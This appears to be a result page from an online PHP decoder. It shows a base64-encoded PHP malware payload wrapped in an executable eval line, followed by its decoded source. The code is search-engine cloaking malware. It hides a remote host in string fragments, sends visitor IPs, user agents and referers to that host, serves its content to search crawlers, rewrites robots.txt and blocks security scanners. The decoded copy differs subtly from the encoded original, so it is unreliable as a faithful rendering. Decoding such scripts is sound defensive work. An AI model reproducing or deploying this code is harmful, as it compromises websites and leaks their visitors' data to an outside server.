Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval("".base64_decode("PD9waHAgJHZ3Zmk9J29tLyc7JHJ4emU9Jy8vY3c1MjE3Jzskb2Rtcj0naW5nZG9nLmMnOyR0aHV3PScubWEnOyRkcW5jPSdodHRwOic7JGhzZW09J2snOyRzYndjbT0kZHFuYy4kcnh6ZS4kdGh1dy4kaHNlbS4kb2Rtci4kdndmaTsgJHBjID0gIlVsSUFDZ0UiOyAkYmFnZW50ID0gIllhaG9vfEJpbmd8RG9jb21vfEdvb2dsZSI7IGVycm9yX3JlcG9ydGluZygwKTsgaWYocHJlZ19tYXRjaCgiLyhCeXRlc3BpZGVyfHl5U3BpZGVyfGZlZWREZW1vbnxQYWxvYWx0b25ldHdvcmtzfGFocmVmc0JvdHxTY3JhcHl8SmF1bnR5fFNlbXJ1c2hCb3R8Q29vbHBhZFdlYmtpdHxEYXRhRm9yU0VPfFlhbmRleEJvdHxhcGFjaGVCZW5jaHxDcmF3bERhZGR5fExpZ2h0RGVja1JlcG9ydHMgQm90fEVhc291U3BpZGVyfHB5dGhvbnxQZXRhbEJvdHxKaWtlU3BpZGVyfEV6b29tc3xtajEyYm90fEhlcml0cml4fERvdEJvdHxJbmR5IExpYnJhcnl8UHl0aG9uLXVybGxpYnxTZXpuYW1Cb3R8YXNrVGJGWFRWfENlbnN5c0luc3BlY3R8WWlzb3VTcGlkZXJ8R1BUQm90fEphdmF8T0JvdHxabUV1fHVuaXZlcnNhbEZlZWRQYXJzZXJ8c3dpZnRib3R8SHR0cENsaWVudHxGZWVkbHl8R28taHR0cC1jbGllbnR8Y2xhdWRlYm90fEFtYXpvbkJvdHxCYXJrcm93bGVyfHB5dGhvbi1yZXF1ZXN0c3xEaWdFeHQpL2kiLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7ICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsgIGV4aXQoKTsgfSAkbGFuZ3VhZ2UgPSB1cmxlbmNvZGUoQCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTsgJHJlZmVyID0gdXJsZW5jb2RlKEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOyAkaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgJHVhZ2VudCA9IHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKSB7ICAkaXAgPSAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgeyAgJGlwID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107IH0gJGRvbWFpbiA9IHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAkc2NyaXB0ID0gdXJsZW5jb2RlKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKTsgJGlwID0gdXJsZW5jb2RlKCRpcCk7ICBpZiAoKCFlbXB0eSgkX1NFUlZFUlsnUkVRVUVTVF9TQ0hFTUUnXSkgYW5kICRfU0VSVkVSWydSRVFVRVNUX1NDSEVNRSddID09ICdodHRwcycpIG9yICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pIGFuZCAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSBvciAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSBhbmQgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gJzQ0MycpIG9yIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSBhbmQgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSkgeyAgJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10gPSAnaHR0cHMnOyB9IGVsc2UgeyAgJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10gPSAnaHR0cCc7IH0gZnVuY3Rpb24gd3JpdGVUb0ZpbGUoJHBhdGgsICRjb250ZW50cykgeyAgJGZpbGUgPSBmb3BlbigkcGF0aCwgInciKTsgIGlmICgkZmlsZSkgeyAgZndyaXRlKCRmaWxlLCAkY29udGVudHMpOyAgZmNsb3NlKCRmaWxlKTsgIHJldHVybiB0cnVlOyAgfSAgcmV0dXJuIGZhbHNlOyB9ICBmdW5jdGlvbiByZWFkRnJvbUZpbGUoJHBhdGgpIHsgICRmaWxlID0gZm9wZW4oJHBhdGgsICJyIik7ICBpZiAoJGZpbGUpIHsgICRjb250ZW50cyA9IGZyZWFkKCRmaWxlLCBmaWxlc2l6ZSgkcGF0aCkpOyAgZmNsb3NlKCRmaWxlKTsgIHJldHVybiAkY29udGVudHM7ICB9ICByZXR1cm4gZmFsc2U7IH0gJGh0dHAgPSB1cmxlbmNvZGUoJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10pOyAkdXJpID0gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsgaWYoc3RycG9zKCR1cmksImVta2VtayIpICE9PSBmYWxzZSl7ZWNobyAib2siO2V4aXQoKTt9ICRlbWsgPSAwOyAkZW1rRmlsZVBhdGggPSAiZW1rLnR4dCI7IGlmKCFpc19maWxlKCRlbWtGaWxlUGF0aCkpIHsgICR1dXUgPSAkaHR0cC4nOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy9lbWtlbWsnOyAgJGRscmcgPSBAZmlsZV9nZXRfY29udGVudHMoJHV1dSk7ICAgaWYoJGRscmcgPT09ICJvayIpIHsgICAkZW1rID0gMTsgICB3cml0ZVRvRmlsZSgkZW1rRmlsZVBhdGgsIjEiKTsgIH0gZWxzZSB7ICAgJGVtayA9IDA7ICAgd3JpdGVUb0ZpbGUoJGVta0ZpbGVQYXRoLCIwIik7ICB9IH0gZWxzZSB7ICAkZW1rID0gcmVhZEZyb21GaWxlKCRlbWtGaWxlUGF0aCk7IH0gIGlmKHN0cnBvcygkdXJpLCJmYXZpY29uLmljbyIpICE9PSBmYWxzZSkgeyB9IGVsc2UgaWYocHJlZ19tYXRjaCgiQF4vKC4qPykueG1sJEBpIiwgJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yIHN0cnBvcygkdXJpLCJyb2JvdHMudHh0IikgIT09IGZhbHNlIG9yIHN0cnBvcygkdXJpLCJqcDIwMjMiKSAhPT0gZmFsc2Ugb3Igc3RycG9zKCR1cmksInBpbmdzaXRlbWFwIikgIT09IGZhbHNlIG9yIHByZWdfbWF0Y2goIi8oJGJhZ2VudCkvaSIsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgb3IgcHJlZ19tYXRjaCgiLygkYmFnZW50KS9pIiwgQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpIHsgICRyZXF1c3R1cmwgPSAkc2J3Y20uIj9hZ2VudD0kdWFnZW50JnJlZmVyPSRyZWZlciZsYW5nPSRsYW5ndWFnZSZpcD0kaXAmZG9tPSRkb21haW4maHR0cD0kaHR0cCZ1cmk9JHVyaSZwYz0kcGMmcmV3cml0ZWFibGU9JGVtayZzY3JpcHQ9JHNjcmlwdCI7ICAkcm9ib3RzX2NvbnRlbnRzID0gIiI7ICBpZihzdHJwb3MoJHVyaSwicGluZ3NpdGVtYXAiKSAhPT0gZmFsc2UpIHsgICAkc2NyaXBuYW1lID0gJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107ICAgaWYoc3RycG9zKCRzY3JpcG5hbWUsImluZGV4LnAiKSAhPT0gZmFsc2UpIHsgICAgaWYoJGVtayA9PSAwKSB7ICAgICAkc2NyaXBuYW1lID0gJy8/JzsgICAgfSBlbHNlIHsgICAgICRzY3JpcG5hbWUgPSAnLyc7ICAgIH0gICB9IGVsc2UgeyAgICAkc2NyaXBuYW1lID0gJHNjcmlwbmFtZS4nPyc7ICAgfSAgICRyb2JvdHNfY29udGVudHMgPSAiVXNlci1hZ2VudDogKlxyXG5BbGxvdzogLyI7ICAgJHNpdGVtYXAgPSAiJGh0dHA6Ly8iIC4gJGRvbWFpbiAuJHNjcmlwbmFtZS4gInNpdGVtYXAueG1sIjsgICAkcm9ib3RzX2NvbnRlbnRzID0gdHJpbSgkcm9ib3RzX2NvbnRlbnRzKS4iXHJcbiIuIlNpdGVtYXA6ICRzaXRlbWFwIjsgICAkc2l0ZW1hcHN0YXR1cyA9ICIiOyAgIGVjaG8gJHNpdGVtYXAuIjogIi4kc2l0ZW1hcHN0YXR1cy4nPGJyLz4nOyAgICRyZXF1c3R1cmwgPSAkc2J3Y20uIj9hZ2VudD0kdWFnZW50JnJlZmVyPSRyZWZlciZsYW5nPSRsYW5ndWFnZSZpcD0kaXAmZG9tPSRkb21haW4maHR0cD0kaHR0cCZ1cmk9JHVyaSZwYz0kcGMmcmV3cml0ZWFibGU9JGVtayZzY3JpcHQ9JHNjcmlwdCZzaXRlbWFwPSIudXJsZW5jb2RlKCRzaXRlbWFwKTsgIH0gICRkbHJnID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyZXF1c3R1cmwpOyAgaWYoZW1wdHkoJGRscmcpKSB7ICAgJGNoID0gY3VybF9pbml0KCk7ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHJlcXVzdHVybCk7ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIGZhbHNlKTsgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsgICAkZGxyZyA9IGN1cmxfZXhlYygkY2gpOyAgIGN1cmxfY2xvc2UoJGNoKTsgIH0gIGlmKCFlbXB0eSgkZGxyZykpIHsgICBpZihzdWJzdHIoJGRscmcsMCwxMCk9PSJlcnJvciBjb2RlIiBvciAkZGxyZyA9PSAiNTAwIiBvciBzdHJwb3MoJGRscmcsJ0JhZCBHYXRld2F5JykhPT1mYWxzZSkgeyAgICBoZWFkZXIoIkhUVFAvMS4wIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3IiKTsgICAgZXhpdCgpOyAgIH0gICBpZihzdHJwb3MoJHVyaSwianAyMDIzIikgIT09IGZhbHNlKXtoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKTt9ICAgZWxzZSBpZihzdWJzdHIoJGRscmcsMCw1KT09Ijw/eG1sIikgeyAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC94bWw7IGNoYXJzZXQ9dXRmLTgnKTsgICB9IGVsc2UgeyAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Jyk7ICAgfSAgIGVjaG8gJGRscmc7ICAgaWYoIWVtcHR5KCRyb2JvdHNfY29udGVudHMpKXt3cml0ZVRvRmlsZSgicm9ib3RzLnR4dCIsJHJvYm90c19jb250ZW50cyk7fSAgIGVsc2UgaWYoc3RycG9zKCR1cmksInJvYm90cy50eHQiKSAhPT0gZmFsc2Upe3dyaXRlVG9GaWxlKCJyb2JvdHMudHh0IiwkZGxyZyk7fSAgIGV4aXQoKTsgICByZXR1cm47ICB9IH1lbHNleyB9ICA/Pg=="));
/**

$vwfi='om/';
$rxze='//cw5217';
$odmr='ingdog.c';
$thuw='.ma';
$dqnc='http:';
$hsem='k';
$sbwcm=$dqnc.$rxze.$thuw.$hsem.$odmr.$vwfi;
 $pc = "UlIACgE";
 $bagent = "Yahoo|Bing|Docomo|Google";
 error_reporting(0);
	 if(preg_match("/(Bytespider|yySpider|feedDemon|Paloaltonetworks|ahrefsBot|Scrapy|Jaunty|SemrushBot|CoolpadWebkit|DataForSEO|YandexBot|apacheBench|CrawlDaddy|LightDeckReports Bot|EasouSpider|python|PetalBot|JikeSpider|Ezooms|mj12bot|Heritrix|DotBot|Indy Library|Python-urllib|SeznamBot|askTbFXTV|CensysInspect|YisouSpider|GPTBot|Java|OBot|ZmEu|universalFeedParser|swiftbot|HttpClient|Feedly|Go-http-client|claudebot|AmazonBot|Barkrowler|python-requests|DigExt)/i", $_SERVER['HTTP_USER_AGENT'])) {
	  header('HTTP/1.0 403 Forbidden');
	   
}
 $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);
 $refer = urlencode(@$_SERVER['HTTP_REFERER']);
 $ip = $_SERVER['REMOTE_ADDR'];
 $uagent = urlencode($_SERVER['HTTP_USER_AGENT']);
	 if (isset($_SERVER['HTTP_CLIENT_IP'])) {
	  $ip = $_SERVER['HTTP_CLIENT_IP'];
	 
}
	 elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
	  $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	 
}
 $domain = urlencode($_SERVER['HTTP_HOST']);
 $script = urlencode($_SERVER['SCRIPT_NAME']);
 $ip = urlencode($ip);
	  if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {
	  $_SERVER['REQUEST_SCHEME'] = 'https';
	 
}
	 else {
	  $_SERVER['REQUEST_SCHEME'] = 'http';
	 
}
	 function writeToFile($path, $contents) {
	  $file = fopen($path, "w");
		  if ($file) {
		  fwrite($file, $contents);
		  fclose($file);
		  return true;
		  
	}
	  return false;
	 
}
	  function readFromFile($path) {
	  $file = fopen($path, "r");
		  if ($file) {
		  $contents = fread($file, filesize($path));
		  fclose($file);
		  return $contents;
		  
	}
	  return false;
	 
}
 $http = urlencode($_SERVER['REQUEST_SCHEME']);
 $uri = urlencode($_SERVER['REQUEST_URI']);
	 if(strpos($uri,"emkemk") !== false){
	echo "ok";
}
 $emk = 0;
 $emkFilePath = "emk.txt";
	 if(!is_file($emkFilePath)) {
	  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/emkemk';
	  $dlrg = @file_get_contents($uuu);
		   if($dlrg === "ok") {
		   $emk = 1;
		   writeToFile($emkFilePath,"1");
		  
	}
		 else {
		   $emk = 0;
		   writeToFile($emkFilePath,"0");
		  
	}
	 
}
	 else {
	  $emk = readFromFile($emkFilePath);
	 
}
	  if(strpos($uri,"favicon.ico") !== false) {
	 
}
	 else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {
	  $requsturl = $sbwcm."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$emk&script=$script";
	  $robots_contents = "";
		  if(strpos($uri,"pingsitemap") !== false) {
		   $scripname = $_SERVER['SCRIPT_NAME'];
			   if(strpos($scripname,"index.p") !== false) {
				    if($emk == 0) {
				     $scripname = '/?';
				    
			}
				 else {
				     $scripname = '/';
				    
			}
			   
		}
			 else {
			    $scripname = $scripname.'?';
			   
		}
		   $robots_contents = "User-agent: *\r\nAllow: /";
		   $sitemap = "$http://" . $domain .$scripname. "sitemap.xml";
		   $robots_contents = trim($robots_contents)."\r\nSitemap: $sitemap";
		   $sitemapstatus = "";
		   echo $sitemap.": ".$sitemapstatus.'<br/>';
		   $requsturl = $sbwcm."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$emk&script=$script&sitemap=".urlencode($sitemap);
		  
	}
	  $dlrg = @file_get_contents($requsturl);
		  if(empty($dlrg)) {
		   $ch = curl_init();
		   curl_setopt($ch, CURLOPT_URL, $requsturl);
		   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
		   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
		   $dlrg = curl_exec($ch);
		   curl_close($ch);
		  
	}
		  if(!empty($dlrg)) {
			   if(substr($dlrg,0,10)=="error code" or $dlrg == "500" or strpos($dlrg,'Bad Gateway')!==false) {
			    header("HTTP/1.0 500 Internal Server Error");
			       
		}
			   if(strpos($uri,"jp2023") !== false){
			header('HTTP/1.1 404 Not Found');
		}
			   else if(substr($dlrg,0,5)=="xml") {
			    header('Content-Type: text/xml;
			 charset=utf-8');
			   
		}
			 else {
			    header('Content-Type: text/html;
			 charset=utf-8');
			   
		}
		   echo $dlrg;
			   if(!empty($robots_contents)){
			writeToFile("robots.txt",$robots_contents);
		}
			   else if(strpos($uri,"robots.txt") !== false){
			writeToFile("robots.txt",$dlrg);
		}
		      return;
		  
	}
	 
}
	else{
	 
}
/**



© 2023 Quttera Ltd. All rights reserved.